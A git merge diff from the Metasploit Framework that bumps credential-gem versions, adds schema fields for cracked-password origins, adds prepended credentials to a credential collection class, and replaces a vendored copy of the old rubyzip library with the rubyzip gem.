Merge branch 'staging/electro-release' into feature/MSP-9693/db2_auth

bug/bundler_fix
David Maloney 2014-06-12 10:52:06 -05:00
commit e4ff07dfa8
No known key found for this signature in database
GPG Key ID: DEDBA9DC3A913DB2
70 changed files with 1239 additions and 14428 deletions

View File

@ -1,5 +1,4 @@
source 'https://rubygems.org'
# Add default group gems to `metasploit-framework.gemspec`:
# spec.add_runtime_dependency '<name>', [<version requirements>]
gemspec
@ -8,7 +7,7 @@ group :db do
# Needed for Msf::DbManager
gem 'activerecord', '>= 3.0.0', '< 4.0.0'
# Metasploit::Credential database models
gem 'metasploit-credential', git: 'github-metasploit-credential:rapid7/metasploit-credential.git', tag: 'v0.3.2-electro-release'
gem 'metasploit-credential', git: 'github-metasploit-credential:rapid7/metasploit-credential.git', tag: 'v0.4.1-electro-release'
# Database models shared between framework and Pro.
gem 'metasploit_data_models', '~> 0.17.1'
# Needed for module caching in Mdm::ModuleDetails

View File

@ -1,12 +1,13 @@
GIT
remote: github-metasploit-credential:rapid7/metasploit-credential.git
revision: 7eb354ee05c9c9e55875f1c6b86de5de54b014a5
tag: v0.3.2-electro-release
revision: 39fc93ded093ad862f62d257bcf9c5a08b614d30
tag: v0.4.1-electro-release
specs:
metasploit-credential (0.3.2.pre.electro.pre.release)
metasploit-credential (0.4.1.pre.electro.pre.release)
metasploit-concern (~> 0.1.0)
metasploit_data_models (~> 0.17.0)
rubyntlm
rubyzip (~> 1.1)
PATH
remote: .
@ -21,6 +22,7 @@ PATH
railties
rkelly-remix (= 0.0.6)
robots
rubyzip (~> 1.1)
sqlite3
tzinfo
@ -115,6 +117,7 @@ GEM
rspec-expectations (~> 2.14.0)
rspec-mocks (~> 2.14.0)
rubyntlm (0.4.0)
rubyzip (1.1.4)
shoulda-matchers (2.6.0)
activesupport (>= 3.0.0)
simplecov (0.5.4)

View File

@ -11,7 +11,7 @@
#
# It's strongly recommended to check this file into your version control system.
ActiveRecord::Schema.define(:version => 20140520140817) do
ActiveRecord::Schema.define(:version => 20140605173747) do
create_table "api_keys", :force => true do |t|
t.text "token"
@ -198,6 +198,14 @@ ActiveRecord::Schema.define(:version => 20140520140817) do
add_index "metasploit_credential_logins", ["core_id", "service_id"], :name => "index_metasploit_credential_logins_on_core_id_and_service_id", :unique => true
add_index "metasploit_credential_logins", ["service_id", "core_id"], :name => "index_metasploit_credential_logins_on_service_id_and_core_id", :unique => true
create_table "metasploit_credential_origin_cracked_passwords", :force => true do |t|
t.integer "metasploit_credential_core_id", :null => false
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "metasploit_credential_origin_cracked_passwords", ["metasploit_credential_core_id"], :name => "originating_credential_cores"
create_table "metasploit_credential_origin_imports", :force => true do |t|
t.text "filename", :null => false
t.integer "task_id", :null => false
@ -238,6 +246,7 @@ ActiveRecord::Schema.define(:version => 20140520140817) do
t.text "data", :null => false
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
t.string "jtr_format"
end
add_index "metasploit_credential_privates", ["type", "data"], :name => "index_metasploit_credential_privates_on_type_and_data", :unique => true

View File

@ -15,6 +15,7 @@ require 'packetfu'
# rkelly-remix is a fork of rkelly, so it's autorequire is 'rkelly' and not 'rkelly-remix'
require 'rkelly'
require 'robots'
require 'zip'
#
# Project

View File

@ -6,27 +6,41 @@ class Metasploit::Framework::CredentialCollection
# Whether each username should be tried with a blank password
# @return [Boolean]
attr_accessor :blank_passwords
# @!attribute pass_file
# Path to a file containing passwords, one per line
# @return [String]
attr_accessor :pass_file
# @!attribute realm
# @return [String]
attr_accessor :realm
# @!attribute password
# @return [String]
attr_accessor :password
# @!attribute prepended_creds
# List of credentials to be tried before any others
#
# @see #prepend_cred
# @return [Array<Credential>]
attr_accessor :prepended_creds
# @!attribute user_as_pass
# Whether each username should be tried as a password for that user
# @return [Boolean]
attr_accessor :user_as_pass
# @!attribute user_file
# Path to a file containing usernames, one per line
# @return [String]
attr_accessor :user_file
# @!attribute username
# @return [String]
attr_accessor :username
# @!attribute user_file
# Path to a file containing usernames and passwords seperated by a space,
# one pair per line
@ -36,6 +50,7 @@ class Metasploit::Framework::CredentialCollection
# @option opts [Boolean] :blank_passwords See {#blank_passwords}
# @option opts [String] :pass_file See {#pass_file}
# @option opts [String] :password See {#password}
# @option opts [Array<Credential>] :prepended_creds ([]) See {#prepended_creds}
# @option opts [Boolean] :user_as_pass See {#user_as_pass}
# @option opts [String] :user_file See {#user_file}
# @option opts [String] :username See {#username}
@ -44,6 +59,17 @@ class Metasploit::Framework::CredentialCollection
opts.each do |attribute, value|
public_send("#{attribute}=", value)
end
self.prepended_creds ||= []
end
# Add {Credential credentials} that will be yielded by {#each}
#
# @see prepended_creds
# @param cred [Credential]
# @return [self]
def prepend_cred(cred)
prepended_creds.unshift cred
self
end
# Combines all the provided credential sources into a stream of {Credential}
@ -56,6 +82,8 @@ class Metasploit::Framework::CredentialCollection
pass_fd = File.open(pass_file, 'r:binary')
end
prepended_creds.each { |c| yield c }
if username
if password
yield Metasploit::Framework::Credential.new(public: username, private: password, realm: realm)

View File

@ -178,8 +178,6 @@ module Metasploit
raise NotImplementedError
end
protected
attr_accessor :sock
end

View File

@ -7,7 +7,6 @@
require 'csv'
require 'tmpdir'
require 'uri'
require 'zip'
#
#
@ -2914,7 +2913,7 @@ class DBManager
case data[0,4]
when "PK\x03\x04"
data = Zip::ZipFile.open(filename)
data = Zip::File.open(filename)
when "\xd4\xc3\xb2\xa1", "\xa1\xb2\xc3\xd4"
data = PacketFu::PcapFile.new(:filename => filename)
else
@ -2981,7 +2980,7 @@ class DBManager
# If there is no match, an error is raised instead.
def import_filetype_detect(data)
if data and data.kind_of? Zip::ZipFile
if data and data.kind_of? Zip::File
if data.entries.empty?
raise DBImportError.new("The zip file provided is empty.")
end

View File

@ -70,13 +70,19 @@ module Msf::Module::Deprecated
print_warning("*"*72)
end
def init_ui(input = nil, output = nil)
super(input, output)
print_deprecation_warning
@you_have_been_warned = true
end
def generate
print_deprecation_warning
super
end
def setup
print_deprecation_warning
print_deprecation_warning unless @you_have_been_warned
super
end

View File

@ -1 +0,0 @@
require 'zip/zip'

File diff suppressed because it is too large Load Diff

View File

@ -1,162 +0,0 @@
= Version 0.9.4
Changed ZipOutputStream.put_next_entry signature (API CHANGE!). Now
allows comment, extra field and compression method to be specified.
= Version 0.9.3
Fixed: Added ZipEntry::name_encoding which retrieves the character
encoding of the name and comment of the entry. Also added convenience
methods ZipEntry::name_in(enc) and ZipEntry::comment_in(enc) for
getting zip entry names and comments in a specified character
encoding.
= Version 0.9.2
Fixed: Renaming an entry failed if the entry's new name was a
different length than its old name. (Diego Barros)
= Version 0.9.1
Added symlink support and support for unix file permissions. Reduced
memory usage during decompression.
New methods ZipFile::[follow_symlinks, restore_times, restore_permissions, restore_ownership].
New methods ZipEntry::unix_perms, ZipInputStream::eof?.
Added documentation and test for new ZipFile::extract.
Added some of the API suggestions from sf.net #1281314.
Applied patch for sf.net bug #1446926.
Applied patch for sf.net bug #1459902.
Rework ZipEntry and delegate classes.
= Version 0.5.12
Fixed problem with writing binary content to a ZipFile in MS Windows.
= Version 0.5.11
Fixed name clash file method copy_stream from fileutils.rb. Fixed
problem with references to constant CHUNK_SIZE.
ZipInputStream/AbstractInputStream read is now buffered like ruby IO's
read method, which means that read and gets etc can be mixed. The
unbuffered read method has been renamed to sysread.
= Version 0.5.10
Fixed method name resolution problem with FileUtils::copy_stream and
IOExtras::copy_stream.
= Version 0.5.9
Fixed serious memory consumption issue
= Version 0.5.8
Fixed install script.
= Version 0.5.7
install.rb no longer assumes it is being run from the toplevel source
dir. Directory structure changed to reflect common ruby library
project structure. Migrated from RubyUnit to Test::Unit format. Now
uses Rake to build source packages and gems and run unit tests.
= Version 0.5.6
Fix for FreeBSD 4.9 which returns Errno::EFBIG instead of
Errno::EINVAL for some invalid seeks. Fixed 'version needed to
extract'-field incorrect in local headers.
= Version 0.5.5
Fix for a problem with writing zip files that concerns only ruby 1.8.1.
= Version 0.5.4
Significantly reduced memory footprint when modifying zip files.
= Version 0.5.3
Added optimization to avoid decompressing and recompressing individual
entries when modifying a zip archive.
= Version 0.5.2
Fixed ZipFile corruption bug in ZipFile class. Added basic unix
extra-field support.
= Version 0.5.1
Fixed ZipFile.get_output_stream bug.
= Version 0.5.0
List of changes:
* Ruby 1.8.0 and ruby-zlib 0.6.0 compatibility
* Changed method names from camelCase to rubys underscore style.
* Installs to zip/ subdir instead of directly to site_ruby
* Added ZipFile.directory and ZipFile.file - each method return an
object that can be used like Dir and File only for the contents of the
zip file.
* Added sample application zipfind which works like Find.find, only
Zip::ZipFind.find traverses into zip archives too.
Bug fixes:
* AbstractInputStream.each_line with non-default separator
= Version 0.5.0a
Source reorganized. Added ziprequire, which can be used to load ruby
modules from a zip file, in a fashion similar to jar files in
Java. Added gtkRubyzip, another sample application. Implemented
ZipInputStream.lineno and ZipInputStream.rewind
Bug fixes:
* Read and write date and time information correctly for zip entries.
* Fixed read() using separate buffer, causing mix of gets/readline/read to
cause problems.
= Version 0.4.2
Performance optimizations. Test suite runs in half the time.
= Version 0.4.1
Windows compatibility fixes.
= Version 0.4.0
Zip::ZipFile is now mutable and provides a more convenient way of
modifying zip archives than Zip::ZipOutputStream. Operations for
adding, extracting, renaming, replacing and removing entries to zip
archives are now available.
Runs without warnings with -w switch.
Install script install.rb added.
= Version 0.3.1
Rudimentary support for writing zip archives.
= Version 0.2.2
Fixed and extended unit test suite. Updated to work with ruby/zlib
0.5. It doesn't work with earlier versions of ruby/zlib.
= Version 0.2.0
Class ZipFile added. Where ZipInputStream is used to read the
individual entries in a zip file, ZipFile reads the central directory
in the zip archive, so you can get to any entry in the zip archive
without having to skipping through all the preceeding entries.
= Version 0.1.0
First working version of ZipInputStream.

View File

@ -1,72 +0,0 @@
= rubyzip
rubyzip is a ruby library for reading and writing zip files.
= Install
If you have rubygems you can install rubyzip directly from the gem
repository
gem install rubyzip
Otherwise obtain the source (see below) and run
ruby install.rb
To run the unit tests you need to have test::unit installed
rake test
= Documentation
There is more than one way to access or create a zip archive with
rubyzip. The basic API is modeled after the classes in
java.util.zip from the Java SDK. This means there are classes such
as Zip::ZipInputStream, Zip::ZipOutputStream and
Zip::ZipFile. Zip::ZipInputStream provides a basic interface for
iterating through the entries in a zip archive and reading from the
entries in the same way as from a regular File or IO
object. ZipOutputStream is the corresponding basic output
facility. Zip::ZipFile provides a mean for accessing the archives
central directory and provides means for accessing any entry without
having to iterate through the archive. Unlike Java's
java.util.zip.ZipFile rubyzip's Zip::ZipFile is mutable, which means
it can be used to change zip files as well.
Another way to access a zip archive with rubyzip is to use rubyzip's
Zip::ZipFileSystem API. Using this API files can be read from and
written to the archive in much the same manner as ruby's builtin
classes allows files to be read from and written to the file system.
rubyzip also features the
zip/ziprequire.rb[link:files/lib/zip/ziprequire_rb.html] module which
allows ruby to load ruby modules from zip archives.
For details about the specific behaviour of classes and methods refer
to the test suite. Finally you can generate the rdoc documentation or
visit http://rubyzip.sourceforge.net.
= License
rubyzip is distributed under the same license as ruby. See
http://www.ruby-lang.org/en/LICENSE.txt
= Website and Project Home
http://rubyzip.sourceforge.net
http://sourceforge.net/projects/rubyzip
== Download (tarballs and gems)
http://sourceforge.net/project/showfiles.php?group_id=43107&package_id=35377
= Authors
Thomas Sondergaard (thomas at sondergaard.cc)
Technorama Ltd. (oss-ruby-zip at technorama.net)
extra-field support contributed by Tatsuki Sugiura (sugi at nemui.org)

View File

@ -1,16 +0,0 @@
* ZipInputStream: Support zip-files with trailing data descriptors
* Adjust rdoc stylesheet to advertise inherited methods if possible
* Suggestion: Add ZipFile/ZipInputStream example that demonstrates extracting all entries.
* Suggestion: ZipFile#extract destination should default to "."
* Suggestion: ZipEntry should have extract(), get_input_stream() methods etc
* SUggestion: ZipInputStream/ZipOutputStream should accept an IO object in addition to a filename.
* (is buffering used anywhere with write?)
* Inflater.sysread should pass the buffer to produce_input.
* Implement ZipFsDir.glob
* ZipFile.checkIntegrity method
* non-MSDOS permission attributes
** See mail from Ned Konz to ruby-talk subj. "Re: SV: [ANN] Archive 0.2"
* Packager version, required unpacker version in zip headers
** See mail from Ned Konz to ruby-talk subj. "Re: SV: [ANN] Archive 0.2"
* implement storing attributes and ownership information

View File

@ -1,165 +0,0 @@
module IOExtras #:nodoc:
CHUNK_SIZE = 131072
RANGE_ALL = 0..-1
def self.copy_stream(ostream, istream)
s = ''
ostream.write(istream.read(CHUNK_SIZE, s)) until istream.eof?
end
def self.copy_stream_n(ostream, istream, nbytes)
s = ''
toread = nbytes
while (toread > 0 && ! istream.eof?)
tr = toread > CHUNK_SIZE ? CHUNK_SIZE : toread
ostream.write(istream.read(tr, s))
toread -= tr
end
end
# Implements kind_of? in order to pretend to be an IO object
module FakeIO
def kind_of?(object)
object == IO || super
end
end
# Implements many of the convenience methods of IO
# such as gets, getc, readline and readlines
# depends on: input_finished?, produce_input and read
module AbstractInputStream
include Enumerable
include FakeIO
def initialize
super
@lineno = 0
@outputBuffer = ""
end
attr_accessor :lineno
def read(numberOfBytes = nil, buf = nil)
tbuf = nil
if @outputBuffer.length > 0
if numberOfBytes <= @outputBuffer.length
tbuf = @outputBuffer.slice!(0, numberOfBytes)
else
numberOfBytes -= @outputBuffer.length if (numberOfBytes)
rbuf = sysread(numberOfBytes, buf)
tbuf = @outputBuffer
tbuf << rbuf if (rbuf)
@outputBuffer = ""
end
else
tbuf = sysread(numberOfBytes, buf)
end
return nil unless (tbuf)
if buf
buf.replace(tbuf)
else
buf = tbuf
end
buf
end
def readlines(aSepString = $/)
retVal = []
each_line(aSepString) { |line| retVal << line }
return retVal
end
def gets(aSepString=$/)
@lineno = @lineno.next
return read if aSepString == nil
aSepString="#{$/}#{$/}" if aSepString == ""
bufferIndex=0
while ((matchIndex = @outputBuffer.index(aSepString, bufferIndex)) == nil)
bufferIndex=@outputBuffer.length
if input_finished?
return @outputBuffer.empty? ? nil : flush
end
@outputBuffer << produce_input
end
sepIndex=matchIndex + aSepString.length
return @outputBuffer.slice!(0...sepIndex)
end
def flush
retVal=@outputBuffer
@outputBuffer=""
return retVal
end
def readline(aSepString = $/)
retVal = gets(aSepString)
raise EOFError if retVal == nil
return retVal
end
def each_line(aSepString = $/)
while true
yield readline(aSepString)
end
rescue EOFError
end
alias_method :each, :each_line
end
# Implements many of the output convenience methods of IO.
# relies on <<
module AbstractOutputStream
include FakeIO
def write(data)
self << data
data.to_s.length
end
def print(*params)
self << params.join << $\.to_s
end
def printf(aFormatString, *params)
self << sprintf(aFormatString, *params)
end
def putc(anObject)
self << case anObject
when Fixnum then anObject.chr
when String then anObject
else raise TypeError, "putc: Only Fixnum and String supported"
end
anObject
end
def puts(*params)
params << "\n" if params.empty?
params.flatten.each {
|element|
val = element.to_s
self << val
self << "\n" unless val[-1,1] == "\n"
}
end
end
end # IOExtras namespace module
# Copyright (C) 2002-2004 Thomas Sondergaard
# rubyzip is free software; you can redistribute it and/or
# modify it under the terms of the ruby license.

View File

@ -1,69 +0,0 @@
#!/usr/bin/env ruby
$: << "../lib"
system("zip example.zip example.rb gtkRubyzip.rb")
require 'zip/zip'
####### Using ZipInputStream alone: #######
Zip::ZipInputStream.open("example.zip") {
|zis|
entry = zis.get_next_entry
print "First line of '#{entry.name} (#{entry.size} bytes): "
puts "'#{zis.gets.chomp}'"
entry = zis.get_next_entry
print "First line of '#{entry.name} (#{entry.size} bytes): "
puts "'#{zis.gets.chomp}'"
}
####### Using ZipFile to read the directory of a zip file: #######
zf = Zip::ZipFile.new("example.zip")
zf.each_with_index {
|entry, index|
puts "entry #{index} is #{entry.name}, size = #{entry.size}, compressed size = #{entry.compressed_size}"
# use zf.get_input_stream(entry) to get a ZipInputStream for the entry
# entry can be the ZipEntry object or any object which has a to_s method that
# returns the name of the entry.
}
####### Using ZipOutputStream to write a zip file: #######
Zip::ZipOutputStream.open("exampleout.zip") {
|zos|
zos.put_next_entry("the first little entry")
zos.puts "Hello hello hello hello hello hello hello hello hello"
zos.put_next_entry("the second little entry")
zos.puts "Hello again"
# Use rubyzip or your zip client of choice to verify
# the contents of exampleout.zip
}
####### Using ZipFile to change a zip file: #######
Zip::ZipFile.open("exampleout.zip") {
|zf|
zf.add("thisFile.rb", "example.rb")
zf.rename("thisFile.rb", "ILikeThisName.rb")
zf.add("Again", "example.rb")
}
# Lets check
Zip::ZipFile.open("exampleout.zip") {
|zf|
puts "Changed zip file contains: #{zf.entries.join(', ')}"
zf.remove("Again")
puts "Without 'Again': #{zf.entries.join(', ')}"
}
# For other examples, look at zip.rb and ziptest.rb
# Copyright (C) 2002 Thomas Sondergaard
# rubyzip is free software; you can redistribute it and/or
# modify it under the terms of the ruby license.

View File

@ -1,33 +0,0 @@
#!/usr/bin/env ruby
$: << "../lib"
require 'zip/zipfilesystem'
EXAMPLE_ZIP = "filesystem.zip"
File.delete(EXAMPLE_ZIP) if File.exists?(EXAMPLE_ZIP)
Zip::ZipFile.open(EXAMPLE_ZIP, Zip::ZipFile::CREATE) {
|zf|
zf.file.open("file1.txt", "w") { |os| os.write "first file1.txt" }
zf.dir.mkdir("dir1")
zf.dir.chdir("dir1")
zf.file.open("file1.txt", "w") { |os| os.write "second file1.txt" }
puts zf.file.read("file1.txt")
puts zf.file.read("../file1.txt")
zf.dir.chdir("..")
zf.file.open("file2.txt", "w") { |os| os.write "first file2.txt" }
puts "Entries: #{zf.entries.join(', ')}"
}
Zip::ZipFile.open(EXAMPLE_ZIP) {
|zf|
puts "Entries from reloaded zip: #{zf.entries.join(', ')}"
}
# For other examples, look at zip.rb and ziptest.rb
# Copyright (C) 2003 Thomas Sondergaard
# rubyzip is free software; you can redistribute it and/or
# modify it under the terms of the ruby license.

View File

@ -1,86 +0,0 @@
#!/usr/bin/env ruby
$: << "../lib"
$VERBOSE = true
require 'gtk'
require 'zip/zip'
class MainApp < Gtk::Window
def initialize
super()
set_usize(400, 256)
set_title("rubyzip")
signal_connect(Gtk::Window::SIGNAL_DESTROY) { Gtk.main_quit }
box = Gtk::VBox.new(false, 0)
add(box)
@zipfile = nil
@buttonPanel = ButtonPanel.new
@buttonPanel.openButton.signal_connect(Gtk::Button::SIGNAL_CLICKED) {
show_file_selector
}
@buttonPanel.extractButton.signal_connect(Gtk::Button::SIGNAL_CLICKED) {
puts "Not implemented!"
}
box.pack_start(@buttonPanel, false, false, 0)
sw = Gtk::ScrolledWindow.new
sw.set_policy(Gtk::POLICY_AUTOMATIC, Gtk::POLICY_AUTOMATIC)
box.pack_start(sw, true, true, 0)
@clist = Gtk::CList.new(["Name", "Size", "Compression"])
@clist.set_selection_mode(Gtk::SELECTION_BROWSE)
@clist.set_column_width(0, 120)
@clist.set_column_width(1, 120)
@clist.signal_connect(Gtk::CList::SIGNAL_SELECT_ROW) {
|w, row, column, event|
@selected_row = row
}
sw.add(@clist)
end
class ButtonPanel < Gtk::HButtonBox
attr_reader :openButton, :extractButton
def initialize
super
set_layout(Gtk::BUTTONBOX_START)
set_spacing(0)
@openButton = Gtk::Button.new("Open archive")
@extractButton = Gtk::Button.new("Extract entry")
pack_start(@openButton)
pack_start(@extractButton)
end
end
def show_file_selector
@fileSelector = Gtk::FileSelection.new("Open zip file")
@fileSelector.show
@fileSelector.ok_button.signal_connect(Gtk::Button::SIGNAL_CLICKED) {
open_zip(@fileSelector.filename)
@fileSelector.destroy
}
@fileSelector.cancel_button.signal_connect(Gtk::Button::SIGNAL_CLICKED) {
@fileSelector.destroy
}
end
def open_zip(filename)
@zipfile = Zip::ZipFile.open(filename)
@clist.clear
@zipfile.each {
|entry|
@clist.append([ entry.name,
entry.size.to_s,
(100.0*entry.compressedSize/entry.size).to_s+"%" ])
}
end
end
mainApp = MainApp.new()
mainApp.show_all
Gtk.main

View File

@ -1,101 +0,0 @@
#!/usr/bin/env ruby
$VERBOSE=true
$: << "../lib"
require 'Qt'
system('rbuic -o zipdialogui.rb zipdialogui.ui')
require 'zipdialogui.rb'
require 'zip/zip'
a = Qt::Application.new(ARGV)
class ZipDialog < ZipDialogUI
def initialize()
super()
connect(child('add_button'), SIGNAL('clicked()'),
self, SLOT('add_files()'))
connect(child('extract_button'), SIGNAL('clicked()'),
self, SLOT('extract_files()'))
end
def zipfile(&proc)
Zip::ZipFile.open(@zip_filename, &proc)
end
def each(&proc)
Zip::ZipFile.foreach(@zip_filename, &proc)
end
def refresh()
lv = child("entry_list_view")
lv.clear
each {
|e|
lv.insert_item(Qt::ListViewItem.new(lv, e.name, e.size.to_s))
}
end
def load(zipfile)
@zip_filename = zipfile
refresh
end
def add_files
l = Qt::FileDialog.getOpenFileNames(nil, nil, self)
zipfile {
|zf|
l.each {
|path|
zf.add(File.basename(path), path)
}
}
refresh
end
def extract_files
selected_items = []
unselected_items = []
lv_item = entry_list_view.first_child
while (lv_item)
if entry_list_view.is_selected(lv_item)
selected_items << lv_item.text(0)
else
unselected_items << lv_item.text(0)
end
lv_item = lv_item.next_sibling
end
puts "selected_items.size = #{selected_items.size}"
puts "unselected_items.size = #{unselected_items.size}"
items = selected_items.size > 0 ? selected_items : unselected_items
puts "items.size = #{items.size}"
d = Qt::FileDialog.get_existing_directory(nil, self)
if (!d)
puts "No directory chosen"
else
zipfile { |zf| items.each { |e| zf.extract(e, File.join(d, e)) } }
end
end
slots 'add_files()', 'extract_files()'
end
if !ARGV[0]
puts "usage: #{$0} zipname"
exit
end
zd = ZipDialog.new
zd.load(ARGV[0])
a.mainWidget = zd
zd.show()
a.exec()

View File

@ -1,13 +0,0 @@
#!/usr/bin/env ruby
$: << "../lib"
require 'zip/zip'
include Zip
ZipOutputStream.open('simple.zip') {
|zos|
ze = zos.put_next_entry 'entry.txt'
zos.puts "Hello world"
}

View File

@ -1,74 +0,0 @@
#!/usr/bin/env ruby
$VERBOSE = true
$: << "../lib"
require 'zip/zip'
require 'find'
module Zip
module ZipFind
def self.find(path, zipFilePattern = /\.zip$/i)
Find.find(path) {
|fileName|
yield(fileName)
if zipFilePattern.match(fileName) && File.file?(fileName)
begin
Zip::ZipFile.foreach(fileName) {
|zipEntry|
yield(fileName + File::SEPARATOR + zipEntry.to_s)
}
rescue Errno::EACCES => ex
puts ex
end
end
}
end
def self.find_file(path, fileNamePattern, zipFilePattern = /\.zip$/i)
self.find(path, zipFilePattern) {
|fileName|
yield(fileName) if fileNamePattern.match(fileName)
}
end
end
end
if __FILE__ == $0
module ZipFindConsoleRunner
PATH_ARG_INDEX = 0;
FILENAME_PATTERN_ARG_INDEX = 1;
ZIPFILE_PATTERN_ARG_INDEX = 2;
def self.run(args)
check_args(args)
Zip::ZipFind.find_file(args[PATH_ARG_INDEX],
args[FILENAME_PATTERN_ARG_INDEX],
args[ZIPFILE_PATTERN_ARG_INDEX]) {
|fileName|
report_entry_found fileName
}
end
def self.check_args(args)
if (args.size != 3)
usage
exit
end
end
def self.usage
puts "Usage: #{$0} PATH ZIPFILENAME_PATTERN FILNAME_PATTERN"
end
def self.report_entry_found(fileName)
puts fileName
end
end
ZipFindConsoleRunner.run(ARGV)
end

View File

@ -1,111 +0,0 @@
unless Enumerable.method_defined?(:inject)
module Enumerable #:nodoc:all
def inject(n = 0)
each { |value| n = yield(n, value) }
n
end
end
end
module Enumerable #:nodoc:all
# returns a new array of all the return values not equal to nil
# This implementation could be faster
def select_map(&aProc)
map(&aProc).reject { |e| e.nil? }
end
end
unless Object.method_defined?(:object_id)
class Object #:nodoc:all
# Using object_id which is the new thing, so we need
# to make that work in versions prior to 1.8.0
alias object_id id
end
end
unless File.respond_to?(:read)
class File # :nodoc:all
# singleton method read does not exist in 1.6.x
def self.read(fileName)
open(fileName) { |f| f.read }
end
end
end
class String #:nodoc:all
def starts_with(aString)
rindex(aString, 0) == 0
end
def ends_with(aString)
index(aString, -aString.size)
end
def ensure_end(aString)
ends_with(aString) ? self : self + aString
end
def lchop
slice(1, length)
end
end
class Time #:nodoc:all
#MS-DOS File Date and Time format as used in Interrupt 21H Function 57H:
#
# Register CX, the Time:
# Bits 0-4 2 second increments (0-29)
# Bits 5-10 minutes (0-59)
# bits 11-15 hours (0-24)
#
# Register DX, the Date:
# Bits 0-4 day (1-31)
# bits 5-8 month (1-12)
# bits 9-15 year (four digit year minus 1980)
def to_binary_dos_time
(sec/2) +
(min << 5) +
(hour << 11)
end
def to_binary_dos_date
(day) +
(month << 5) +
((year - 1980) << 9)
end
# Dos time is only stored with two seconds accuracy
def dos_equals(other)
to_i/2 == other.to_i/2
end
def self.parse_binary_dos_format(binaryDosDate, binaryDosTime)
second = 2 * ( 0b11111 & binaryDosTime)
minute = ( 0b11111100000 & binaryDosTime) >> 5
hour = (0b1111100000000000 & binaryDosTime) >> 11
day = ( 0b11111 & binaryDosDate)
month = ( 0b111100000 & binaryDosDate) >> 5
year = ((0b1111111000000000 & binaryDosDate) >> 9) + 1980
begin
return Time.local(year, month, day, hour, minute, second)
end
end
end
class Module #:nodoc:all
def forward_message(forwarder, *messagesToForward)
methodDefs = messagesToForward.map {
|msg|
"def #{msg}; #{forwarder}(:#{msg}); end"
}
module_eval(methodDefs.join("\n"))
end
end
# Copyright (C) 2002, 2003 Thomas Sondergaard
# rubyzip is free software; you can redistribute it and/or
# modify it under the terms of the ruby license.

View File

@ -1,195 +0,0 @@
#
# tempfile - manipulates temporary files
#
# $Id$
#
require 'delegate'
require 'tmpdir'
module BugFix #:nodoc:all
# A class for managing temporary files. This library is written to be
# thread safe.
class Tempfile < DelegateClass(File)
MAX_TRY = 10
@@cleanlist = []
# Creates a temporary file of mode 0600 in the temporary directory
# whose name is basename.pid.n and opens with mode "w+". A Tempfile
# object works just like a File object.
#
# If tmpdir is omitted, the temporary directory is determined by
# Dir::tmpdir provided by 'tmpdir.rb'.
# When $SAFE > 0 and the given tmpdir is tainted, it uses
# /tmp. (Note that ENV values are tainted by default)
def initialize(basename, tmpdir=Dir::tmpdir)
if $SAFE > 0 and tmpdir.tainted?
tmpdir = '/tmp'
end
lock = nil
n = failure = 0
begin
Thread.critical = true
begin
tmpname = sprintf('%s/%s%d.%d', tmpdir, basename, $$, n)
lock = tmpname + '.lock'
n += 1
end while @@cleanlist.include?(tmpname) or
File.exist?(lock) or File.exist?(tmpname)
Dir.mkdir(lock)
rescue
failure += 1
retry if failure < MAX_TRY
raise "cannot generate tempfile `%s'" % tmpname
ensure
Thread.critical = false
end
@data = [tmpname]
@clean_proc = Tempfile.callback(@data)
ObjectSpace.define_finalizer(self, @clean_proc)
@tmpfile = File.open(tmpname, File::RDWR|File::CREAT|File::EXCL, 0600)
@tmpname = tmpname
@@cleanlist << @tmpname
@data[1] = @tmpfile
@data[2] = @@cleanlist
super(@tmpfile)
# Now we have all the File/IO methods defined, you must not
# carelessly put bare puts(), etc. after this.
Dir.rmdir(lock)
end
# Opens or reopens the file with mode "r+".
def open
@tmpfile.close if @tmpfile
@tmpfile = File.open(@tmpname, 'r+')
@data[1] = @tmpfile
__setobj__(@tmpfile)
end
def _close # :nodoc:
@tmpfile.close if @tmpfile
@data[1] = @tmpfile = nil
end
protected :_close
# Closes the file. If the optional flag is true, unlinks the file
# after closing.
#
# If you don't explicitly unlink the temporary file, the removal
# will be delayed until the object is finalized.
def close(unlink_now=false)
if unlink_now
close!
else
_close
end
end
# Closes and unlinks the file.
def close!
_close
@clean_proc.call
ObjectSpace.undefine_finalizer(self)
end
# Unlinks the file. On UNIX-like systems, it is often a good idea
# to unlink a temporary file immediately after creating and opening
# it, because it leaves other programs zero chance to access the
# file.
def unlink
# keep this order for thread safeness
File.unlink(@tmpname) if File.exist?(@tmpname)
@@cleanlist.delete(@tmpname) if @@cleanlist
end
alias delete unlink
if RUBY_VERSION > '1.8.0'
def __setobj__(obj)
@_dc_obj = obj
end
else
def __setobj__(obj)
@obj = obj
end
end
# Returns the full path name of the temporary file.
def path
@tmpname
end
# Returns the size of the temporary file. As a side effect, the IO
# buffer is flushed before determining the size.
def size
if @tmpfile
@tmpfile.flush
@tmpfile.stat.size
else
0
end
end
alias length size
class << self
def callback(data) # :nodoc:
pid = $$
lambda{
if pid == $$
path, tmpfile, cleanlist = *data
print "removing ", path, "..." if $DEBUG
tmpfile.close if tmpfile
# keep this order for thread safeness
File.unlink(path) if File.exist?(path)
cleanlist.delete(path) if cleanlist
print "done\n" if $DEBUG
end
}
end
# If no block is given, this is a synonym for new().
#
# If a block is given, it will be passed tempfile as an argument,
# and the tempfile will automatically be closed when the block
# terminates. In this case, open() returns nil.
def open(*args)
tempfile = new(*args)
if block_given?
begin
yield(tempfile)
ensure
tempfile.close
end
nil
else
tempfile
end
end
end
end
end # module BugFix
if __FILE__ == $0
# $DEBUG = true
f = Tempfile.new("foo")
f.print("foo\n")
f.close
f.open
p f.gets # => "foo\n"
f.close!
end

View File

@ -1,9 +0,0 @@
#!/usr/bin/env ruby
$VERBOSE = true
require 'stdrubyexttest'
require 'ioextrastest'
require 'ziptest'
require 'zipfilesystemtest'
require 'ziprequiretest'

View File

@ -1,46 +0,0 @@
AUTOMAKE_OPTIONS = gnu
EXTRA_DIST = test.zip
CXXFLAGS= -g
noinst_LIBRARIES = libzipios.a
bin_PROGRAMS = test_zip test_izipfilt test_izipstream
# test_flist
libzipios_a_SOURCES = backbuffer.h fcol.cpp fcol.h \
fcol_common.h fcolexceptions.cpp fcolexceptions.h \
fileentry.cpp fileentry.h flist.cpp \
flist.h flistentry.cpp flistentry.h \
flistscanner.h ifiltstreambuf.cpp ifiltstreambuf.h \
inflatefilt.cpp inflatefilt.h izipfilt.cpp \
izipfilt.h izipstream.cpp izipstream.h \
zipfile.cpp zipfile.h ziphead.cpp \
ziphead.h flistscanner.ll
# test_flist_SOURCES = test_flist.cpp
